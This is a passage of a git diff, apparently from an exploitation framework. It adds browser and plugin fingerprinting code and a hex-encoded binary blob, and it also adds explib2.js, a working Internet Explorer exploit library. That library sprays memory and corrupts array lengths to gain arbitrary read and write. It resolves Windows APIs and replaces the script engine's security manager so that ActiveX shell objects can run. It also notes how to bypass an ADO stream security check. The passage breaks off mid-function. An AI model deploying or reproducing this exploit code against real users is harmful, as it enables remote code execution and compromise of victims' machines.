+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+fffffffffffffffffdffffff0d000000030000000400000005000000060000000700000008000000090000000a000000fefffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000066a69ddd9485d111b16a00c0f0283628000000000000000000000000e01c
+bb4913f3cd010c000000000100000000000003005000520049004e005400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
+000000000000000002000000ae1000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
+0000000000000000000000000000060000000000000003004f00430058004e0041004d00450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000
+000000000000000000000000010000001a000000000000000800560aca0200000100090000035308000006008806000000008806000026060f00060d574d464301000000000001007ed80000000001000000e40c000000000000e40c0000010000006c0000000000000000000000630000001a0000000000000000000000
+560a0000ca02000020454d4600000100e40c000038000000070000000000000000000000000000000004000000030000690100000f0100000000000000000000000000001c830500552204000c0000001000000000000000000000000a000000100000000000000000000000180000000c00000000000000190000000c00
+0000ffffff00260000001c0000000100000000000000000000000000000000000000250000000c0000000100000027000000180000000200000000000000ffffff0000000000250000000c00000002000000520000007001000003000000f1ffffff00000000000000000000000090010000000000000000000043006100
+6c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0550745f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c18
+5f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000050000004e0000007f133f1320340000cad55b27a9705f76002de575009b5b27fa0366000000000003000000050000004e0000001000000054000000
+0000df0503000000050000005100000015000000d57b5f76f59a5b27de094e00000000000000000000000000000000007c664e77106a24009d3948777c664e776476000800000000250000000c000000030000002b000000180000000000000000000000630000001a0000001e0000001800000000000000000000006400
+00001b000000520000007001000004000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000000000000000000000000032002e0030005c0030005c007700
+69006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e36264760000
+0000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000647600080000000025000000
+0c00000004000000520000007001000005000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000000000000000000000000000000000000000000000000000000000000000000032002e00
+30005c0030005c00770069006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76
+f06a2400e362647600000000d46824008d885f7640692400f09f320010a032009cc724000bb44f7720a03200d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a17737122125c0c7240028c9240020c92400000000000400000000000000fcc7240064760008000000002500
+00000c00000005000000250000000c00000003000000280000000c00000004000000280000000c00000005000000520000007001000005000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600
+0000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e
+4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400
+e0638c7780f08f004600000000000000fa03660000000000000000006476000800000000250000000c00000005000000520000007001000004000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900
+660000000000000000000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a2400
+0000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76f06a2400e362647600000000d46824008d885f76406924007842ae069842ae069cc724000bb44f77a842ae06d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a1773712
+2125c0c7240028c9240020c92400000000000400000000000000fcc724006476000800000000250000000c00000004000000250000000c000000030000005400000054000000000000000400000063000000150000000100000000040d4255250d42f7ffffff04000000010000004c000000000000000000000000000000
+ffffffffffffffff500000002000000075000000160000000c00000001000000120000000c000000010000001b000000100000000000000000000000160000000c00000000000000250000000c0000000400000054000000540000000000000000000000ffffffffffffffff0100000000040d4255250d42f7ffffff0400
+0000010000004c000000000000000000000000000000ffffffffffffffff500000000700000008000000520000007001000006000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900660000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000
+00000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000000061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000
+985e4877a87bad0600000000f400000030b7ea070000ea076476000800000000250000000c00000006000000250000000c00000004000000280000000c00000006000000250000000c0000000300000054000000a8000000000000000400000063000000150000000100000000040d4255250d42ffffffff040000000f00
+00004c000000000000000000000000000000ffffffffffffffff6c00000049006d0061006700650043006f006d0062006f00430074006c00200031000000040000000c00000007000000070000000800000008000000080000000c000000080000000800000008000000050000000400000003000000070000001b000000
+100000000000000000000000160000000c00000000000000120000000c00000002000000280000000c00000005000000280000000c000000040000004b000000100000000000000005000000250000000c0000000d000080250000000c00000000000080280000000c00000002000000250000000c000000070000802800
+00000c00000001000000190000000c000000ffffff00180000000c000000000000000a0000001000000000000000000000000c000000100000000000000000000000090000001000000001000000010000000b0000001000000001000000010000000e000000140000000000000010000000140000000400000003010800
+050000000b0200000000050000000c0214004b0005000000090200000000050000000102ffffff0008000000fa0200000000000000000000040000002d01000007000000fc020000ffffff000000040000002d0101001c000000fb02f1ff0000000000009001000000000000000043616c696272690001003f3f0b003f24
+003ff4003f3f3f3f0000f4003f3f3f3f040000002d010200070000001b041b00640000000000040000002c0100000700000016041b006400000000001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d0103001c00
+0000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020004000000f001030004000000f00104001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e732053
+65726966000000000000000000000000040000002d0103001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020009000000320a0400f7ff0100000020007500040000002e01010004000000
+0201010005000000140200000000040000002e010000040000002d01040009000000320a0400f7ff01000000070008001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010500040000002d01040004000000f001
+0500040000002d0102001e000000320a0400ffff0f000000496d616765436f6d626f43746c20310004000c00070007000800080008000c000800080008000500040003000700040000002e010000040000000201020004000000f001030004000000f0010400040000002c0100001c000000fb021000070000000000bc02
+000000000102022253797374656d003f00003f3f3f3f3f3f3f3f3f3f0800000001003f3f3f3f3f00040000002d01030007000000fc020000ffffff000000040000002d01040004000000f001010008000000fa0200000000000000000000040000002d01010004000000f0010000050000000102ffffff00050000000902
+000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fefffffffeffffff03000000feffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00920300040000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000049006d0061006700650043006f006d0062006f0031000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000560a0000ca0200000324a055
+0000060044000000000000000000000001efcdab0000050000000000060000000800008005000080b0303a0310000000070049006d0061006700650043006f006d0062006f00430074006c0020003100000000001fdeecbd0100050040cf2400000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043006f006e00740065006e007400
+730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000020000007400000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000
+050000000d0000004d45544146494c455049435400560a0000d7faffff8a0200000800560a29050000
+0100090000034101000004001100000000001100000026060f001800ffffffff00001000b004000030fdffffcc0800004c0100000900000026060f000800ffffffff020000001000000026060f001600ffffffff04000e00544e50500700a8623d50390586000a00000026060f000a00544e505000000200f00309000000
+26060f000800ffffffff030000000f00000026060f001400544e505004000c00010000000100000000000000050000000b0230fdb004050000000c021c041c0409000000fa02050000000000ffffff002200040000002d01000007000000fc020100000000000000040000002d01010009000000fa020600080000000000
+00022200040000002d01020007000000fc020000ffffff020000040000002d010300050000000902ffffff020400000004010d00070000001b044c01cc0830fdb004050000000902ff003302040000002d010000040000002d01010004000000f001020004000000f0010300030000001e000700000016043400b4074efe
+ce0509000000fa02060040000000ff0033022200040000002d0102000500000014024efece050500000013022c00ac07040000002d010000040000002d01010004000000f0010200040000002701ffff040000002d010000040000002d010100030000001e000700000016043400b4074efece0509000000fa0206004000
+0000ff0033022200040000002d0102000500000014024efeac070500000013022c00ce05040000002d010000040000002d01010004000000f0010200040000002701ffff0f00000026060f001400544e505004000c000000000000000000000000000900000026060f000800ffffffff01000000040000002d0100000400
+00002d010100030000000000}}}}}}}}}}}}}}}}}}}}}}}
\ No newline at end of file
diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js
index 2deaed1252..fe0ba675cc 100644
--- a/data/js/detect/misc_addons.js
+++ b/data/js/detect/misc_addons.js
@@ -46,6 +46,53 @@ window.misc_addons_detect.hasSilverlight = function () {
 	return found;
 }
 
+/**
+ * Returns the Adobe Flash version
+**/
+window.misc_addons_detect.getFlashVersion = function () {
+	var foundVersion = null;
+
+	//
+	// Gets the Flash version by using the GetVariable function via ActiveX
+	//
+	try {
+		var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString();
+		foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.')
+	} catch (e) {}
+
+	//
+	// This should work fine for most non-IE browsers
+	//
+	if (foundVersion == null) {
+		var mimes = window.navigator.mimeTypes;
+		for (var i=0; i<mimes.length; i++) {
+			var pluginDesc = mimes[i].enabledPlugin.description.toString();
+			var m = pluginDesc.match(/Shockwave Flash [\d\.]+/g);
+			if (m != null) {
+				foundVersion = m[0].match(/\d.+/g)[0];
+				break;
+			}
+		}
+	}
+
+	//
+	// Detection for Windows + Firefox
+	//
+	if (foundVersion == null) {
+		var pluginsCount = navigator.plugins.length;
+		for (i=0; i < pluginsCount; i++) {
+			var pluginName = navigator.plugins[i].name;
+			var pluginVersion = navigator.plugins[i].version;
+			if (/Shockwave Flash/.test(pluginName) && pluginVersion != undefined) {
+				foundVersion = navigator.plugins[i].version;
+				break;
+			}
+		}
+	}
+
+	return foundVersion;
+}
+
 /**
  * Returns the Java version
  **/
diff --git a/data/js/detect/os.js b/data/js/detect/os.js
index cf8269010f..05850b7398 100644
--- a/data/js/detect/os.js
+++ b/data/js/detect/os.js
@@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){
 			} else if (platform.match(/arm/)) {
 				// Android and maemo
 				arch = arch_armle;
+				if (navigator.userAgent.match(/android/i)) {
+					os_flavor = 'Android';
+				}
 			}
 		} else if (platform.match(/windows/)) {
 			os_name = oses_windows;
@@ -193,8 +196,7 @@ window.os_detect.getVersion = function(){
 		if (!ua_version || 0 == ua_version.length) {
 			ua_is_lying = true;
 		}
-	} else if (!document.all && navigator.taintEnabled ||
-	            'MozBlobBuilder' in window) {
+	} else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
 		// Use taintEnabled to identify FF since other recent browsers
 		// implement window.getComputedStyle now.  For some reason, checking for
 		// taintEnabled seems to cause IE 6 to stop parsing, so make sure this
@@ -210,7 +212,11 @@ window.os_detect.getVersion = function(){
 		// Thanks to developer.mozilla.org "Firefox for developers" series for most
 		// of these.
 		// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
-		if (css_is_valid('image-orientation',
+		if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) {
+			ua_version = '28.0';
+		} else if (css_is_valid('cursor', 'cursor', 'grab')) {
+			ua_version = '27.0';
+		} else if (css_is_valid('image-orientation',
 		                 'imageOrientation',
 		                 '0deg')) {
 			ua_version = '26.0';
@@ -871,12 +877,60 @@ window.os_detect.getVersion = function(){
 				os_flavor = "7";
 				os_sp = "SP1";
 				break;
+			case "9016502":
+				// IE 9.0.8112.16502 / Windows 7 SP1
+				ua_version = "9.0";
+				os_flavor = "7";
+				os_sp = "SP1";
+				break;
+			case "9016506":
+				// IE 9.0.8112.16506 / Windows 7 SP1
+				ua_version = "9.0";
+				os_flavor = "7";
+				os_sp = "SP1";
+				break;
+			case "9016514":
+				// IE 9.0.8112.16514 / Windows 7 SP1
+				ua_version = "9.0";
+				os_flavor = "7";
+				os_sp = "SP1";
+				break;
+			case "9016520":
+				// IE 9.0.8112.16520 / Windows 7 SP1
+				ua_version = "9.0";
+				os_flavor = "7";
+				os_sp = "SP1";
+				break;
+			case "9016526":
+				// IE 9.0.8112.16526 / Windows 7 SP1
+				ua_version = "9.0";
+				os_flavor = "7";
+				os_sp = "SP1";
+				break;
+			case "9016533":
+				// IE 9.0.8112.16533 / Windows 7 SP1
+				ua_version = "9.0";
+				os_flavor = "7";
+				os_sp = "SP1";
+				break;
 			case "10016720":
 				// IE 10.0.9200.16721 / Windows 7 SP1
 				ua_version = "10.0";
 				os_flavor = "7";
 				os_sp = "SP1";
 				break;
+			case "11016428":
+				// IE 11.0.9600.16428 / Windows 7 SP1
+				ua_version = "11.0";
+				os_flavor = "7";
+				os_sp = "SP1";
+				break;
+			case "10016384":
+				// IE 10.0.9200.16384 / Windows 8 x86
+				ua_version = "10.0";
+				os_flavor = "8";
+				os_sp = "SP0";
+				break;
 			case "1000":
 				// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
 				ua_version = "10.0";
@@ -891,14 +945,40 @@ window.os_detect.getVersion = function(){
 		if (!ua_version) {
 			// The ScriptEngine functions failed us, try some object detection
 			if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
-				// IE8 detection straight from IEBlog.  Thank you Microsoft.
+				// IE 11 detection, see: http://msdn.microsoft.com/en-us/library/ie/bg182625(v=vs.85).aspx
 				try {
-					ua_version = "8.0";
-					document.documentElement.style.display = "table-cell";
-				} catch(e) {
-					// This executes in IE7,
-					// but not IE8, regardless of mode
-					ua_version = "7.0";
+					if (document.__proto__ != undefined) { ua_version = "11.0"; }
+				} catch (e) {}
+
+				// IE 10 detection using nodeName
+				if (!ua_version) {
+					try {
+						var badNode = document.createElement && document.createElement("badname");
+						if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; }
+					} catch(e) {}
+				}
+
+				// IE 9 detection based on a "Object doesn't support property or method" error
+				if (!ua_version) {
+					try {
+						document.BADNAME();
+					} catch(e) {
+						if (e.message.indexOf("BADNAME") > 0) {
+							ua_version = "9.0";
+						}
+					}
+				}
+
+				// IE8 detection straight from IEBlog.  Thank you Microsoft.
+				if (!ua_version) {
+					try {
+						ua_version = "8.0";
+						document.documentElement.style.display = "table-cell";
+					} catch(e) {
+						// This executes in IE7,
+						// but not IE8, regardless of mode
+						ua_version = "7.0";
+					}
 				}
 			} else if (document.compatMode) {
 				ua_version = "6.0";
diff --git a/data/js/memory/explib2/lib/explib2.js b/data/js/memory/explib2/lib/explib2.js
new file mode 100644
index 0000000000..434b36cf4d
--- /dev/null
+++ b/data/js/memory/explib2/lib/explib2.js
@@ -0,0 +1,426 @@
+
+
+ExpLib = (function() {
+
+	function ExpLib( num_arrays, arr_size, base, payload ) {
+		this.arr1 = null;
+		this.arr2 = null;
+		this.base = base;
+		this.arr_size = arr_size;
+		this.arr_arr = null;
+		// Allows to control the contents of the sprayed memory.
+		// Have into account some array positions will be corrupted
+		// while leaking and modifying things.
+		this.arr_contents = [];
+
+		this.payload = payload;
+		this.modules = {}
+		this.getproc = null;
+		this.loadlibrary = null;
+
+		// Offset to the Origin URL in the Stream, modifying it
+		// allows to bypass msado15.SecurityCheck(), allowing
+		// for example to write stream contents to filesystem.
+		this.stream_origin = 0x44;
+	}
+
+	ExpLib.prototype.resolveAPI = function( modulename, procname ) {
+		var module  = this.resolveModule( modulename );
+
+		return this.callAPI( this.getproc, module, this.allocateString(procname) );
+	}
+
+	ExpLib.prototype.resolveModule = function( modulename ) {
+		if ( this.modules[modulename] )
+			return this.modules[modulename];
+
+		var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
+		this.modules[modulename] = module;
+		return module;
+	}
+
+	ExpLib.prototype.spray = function() {
+		this.arr_arr = new Array( num_arrays );
+
+		var decl = "[";
+
+		for ( var i = 0; i < this.arr_size - 1; ++ i ) {
+			decl += '0,';
+		}
+
+		decl += '0';
+		decl += ']';
+
+		for ( var i = 0; i < num_arrays; ++ i ) {
+			this.arr_arr[i] = eval(decl);
+			for(var j = 0; j < this.arr_contents.length; j++) {
+				this.arr_arr[i][j] = this.arr_contents[j];
+			}
+		}
+
+  }
+
+	// Should be used before calling spray()
+	ExpLib.prototype.setArrContents = function(contents) {
+		for(var i = 0; i < this.arr_size && i < contents.length; i++) {
+			this.arr_contents[i] = contents[i];
+		}
+	}
+
+  ExpLib.prototype.setValue = function(i1, i2, v) {
+		this.arr_arr[i1][i2] = v;
+	}
+
+
+  ExpLib.prototype.setValueByAddr = function(index, addr, v) {
+		this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
+	}
+
+	ExpLib.prototype.read32 = function(addr) {
+		if ( addr % 4 ) {
+			// error
+		}
+
+		if ( addr >= this.arr2_member_base ) {
+			return this.arr2[(addr - this.arr2_member_base)/4];
+		} else {
+			return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
+		}
+	}
+
+	ExpLib.prototype.write32 = function(addr, value) {
+		if ( addr % 4 ) {
+			// error
+		}
+
+		if ( value >= 0x80000000 )
+			value = -(0x100000000 - value);
+
+		//alert(((addr - this.arr2_member_base)/4).toString(16));
+		if ( addr >= this.arr2_member_base ) {
+			this.arr2[(addr - this.arr2_member_base)/4] = value;
+		} else {
+			this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
+		}
+	}
+
+	ExpLib.prototype.read8 = function(addr) {
+		var value = this.read32( addr  & 0xfffffffc );
+		switch ( addr % 4 ) {
+			case 0: return (value & 0xff);
+			case 1: return ((value >> 8) & 0xff);
+			case 2: return ((value >> 16) & 0xff);
+			case 3: return ((value >> 24) & 0xff);
+		}
+
+		return 0;
+	}
+
+	ExpLib.prototype.write8 = function(addr, value) {
+		var original_value = this.read32( addr  & 0xfffffffc );
+		var new_value;
+
+		switch ( addr % 4 ) {
+			case 0:
+				new_value = (original_value & 0xffffff00) | (value & 0xff);
+				break;
+
+			case 1:
+				new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
+				break;
+			case 2:
+				new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
+				break;
+			case 3:
+				new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
+				break;
+		}
+
+
+		this.write32( addr  & 0xfffffffc, new_value );
+	}
+
+
+	ExpLib.prototype.writeBytes = function(addr, bytes) {
+		for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
+			var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
+						((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
+
+			this.write32( addr + i, value );
+		}
+
+		for ( ; i < bytes.length; ++ i ) {
+			this.write8( addr + i, bytes[i] );
+		}
+	}
+
+	ExpLib.prototype.writeString = function(addr, s) {
+		var bytes = [];
+		var i = 0;
+		for ( ; i < s.length; ++ i ) {
+			bytes[i] = s.charCodeAt(i);
+		}
+
+		bytes[i] = 0;
+
+		this.writeBytes( addr, bytes );
+	}
+
+	ExpLib.prototype.writeStringW = function(addr, s) {
+		var bytes = [];
+		var i = 0;
+		for ( ; i < s.length; ++i ) {
+			bytes[i * 2] = s.charCodeAt(i);
+			bytes[i * 2 + 1] = 0;
+		}
+
+		bytes[s.length * 2] = 0;
+		bytes[s.length * 2 + 1] = 0;
+
+		this.writeBytes( addr, bytes );
+	}
+
+	ExpLib.prototype.read16 = function(addr) {
+		if ( addr % 2 ) {
+					// error, not aligned
+		}
+
+		var value = this.read32( addr  & 0xfffffffc );
+		switch ( addr % 4 ) {
+			case 0: return (value & 0xffff);
+			case 1: return ((value >> 8) & 0xffff);
+			case 2: return ((value >> 16) & 0xffff);
+			case 3: /*not supported*/ break;
+		}
+
+		return 0;
+	}
+
+	ExpLib.prototype.strequal = function(addr, s)  {
+		for ( var i = 0; i < s.length; ++ i ) {
+			if ( this.read8(addr + i) != s.charCodeAt(i) )
+				return false;
+		}
+
+		return true;
+	}
+
+
+	ExpLib.prototype.getModuleBase = function(addr) {
+
+		var cur_addr = addr;
+
+		while ( cur_addr > 0 ) {
+
+			if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
+				return cur_addr;
+			}
+
+			cur_addr -= 0x10000;
+		}
+
+		return 0;
+	}
+
+
+
+	ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
+		var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
+		var cur_table = import_table;
+
+		while ( cur_table < import_table + 0x1000 ) {
+
+			var name_addr = base + this.read32(cur_table + 12);
+			if ( this.strequal( name_addr, name ) ) {
+				var iat = base + this.read32(cur_table + 16);
+				var func = this.read32(iat);
+				while ( 0 == func ) {
+					iat += 4;
+					func = this.read32(iat);
+				}
+
+				return this.getModuleBase( func & 0xFFFF0000 );
+
+			}
+
+			cur_table += 20;
+		}
+
+		return 0;
+	}
+
+	ExpLib.prototype.getProcAddress = function(base, procname)  {
+		var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
+		var num_functions = this.read32( export_table + 20 );
+		var addr_functions = base + this.read32( export_table + 28 );
+		var addr_names = base + this.read32( export_table + 32 );
+		var addr_ordinals = base + this.read32( export_table + 36 );
+
+		for ( var i = 0; i < num_functions; ++ i ) {
+			var name_addr = this.read32( addr_names + i * 4 ) + base;
+			if ( this.strequal( name_addr, procname ) ) {
+				var ordinal = this.read16( addr_ordinals + i * 2 );
+				var result = this.read32( addr_functions + ordinal * 4 ) + base;
+				return result;
+			}
+		}
+
+		return 0;
+	}
+
+	ExpLib.prototype.searchBytes = function(pattern, start, end)  {
+
+		if ( start >= end || start + pattern.length > end )
+			return 0;
+
+		var pos = start;
+		while ( pos < end ) {
+			for ( var i = 0; i < pattern.length; ++ i ) {
+				if ( this.read8(pos + i) != pattern[i] )
+					break;
+			}
+
+			if ( i == pattern.length ) {
+				return pos;
+			}
+
+			++ pos;
+		}
+
+		return 0;
+	}
+
+
+	ExpLib.prototype.getError = function(msg) {
+		return this.err_msg;
+	}
+
+	ExpLib.prototype.setError = function(msg) {
+		this.err_msg = msg;
+	}
+
+	ExpLib.prototype.setStreamOrigin = function(offset) {
+		this.stream_origin = offset;
+	}
+
+	ExpLib.prototype.getStreamOrigin = function() {
+		return this.stream_origin;
+	}
+
+	ExpLib.prototype.memcpy = function(dst, src, size) {
+		var i = 0;
+		for ( ; i < size - 4; i += 4 ) {
+			this.write32( dst + i, this.read32(src + i) );
+		}
+
+		for ( ; i < size; ++ i ) {
+			this.write8( dst + i, this.read8(src + i) );
+		}
+	}
+
+	ExpLib.prototype.go = function() {
+
+		var i = 0;
+
+
+
+		for ( ; i < this.arr_arr.length - 1; ++ i ) {
+			this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
+
+			if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
+				this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
+				this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
+
+				this.arr_arr[i + 1].length = 0x3fffffff;
+
+				if ( this.arr_arr[i+1].length == 0x3fffffff ) {
+					break;
+				}
+			}
+
+		}
+
+		if ( i >= this.arr_arr.length - 1 ) {
+			this.setError( "Cannot find array with corrupt length!" );
+			return false;
+		}
+
+		this.arr1_idx = i;
+		this.arr2_idx = i + 1;
+
+		this.arr1 = this.arr_arr[i];
+		this.arr2 = this.arr_arr[i + 1];
+
+		this.arr2_base = this.base + 0x1000;
+		this.arr2_member_base = this.arr2_base + 0x20;
+
+		var func_addr = this.leakAddress(ActiveXObject);
+		var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
+
+		//alert(script_engine_addr.toString(16));
+
+		var original_securitymanager = this.read32( script_engine_addr + 0x21c );
+		if ( !original_securitymanager ) {
+			// let security manager to be valid
+			try {
+				var WshShell = new ActiveXObject("WScript.shell");
+			} catch (e) {}
+
+			original_securitymanager = this.read32( script_engine_addr + 0x21c );
+		}
+
+		var original_securitymanager_vtable = this.read32(original_securitymanager);
+		var securitymanager_size = 0x28;
+		var fake_securitymanager = 0x1a1b2010;
+		var fake_securitymanager_vtable = fake_securitymanager + 0x28;
+		//alert(original_securitymanager.toString(16));
+
+		this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
+		this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
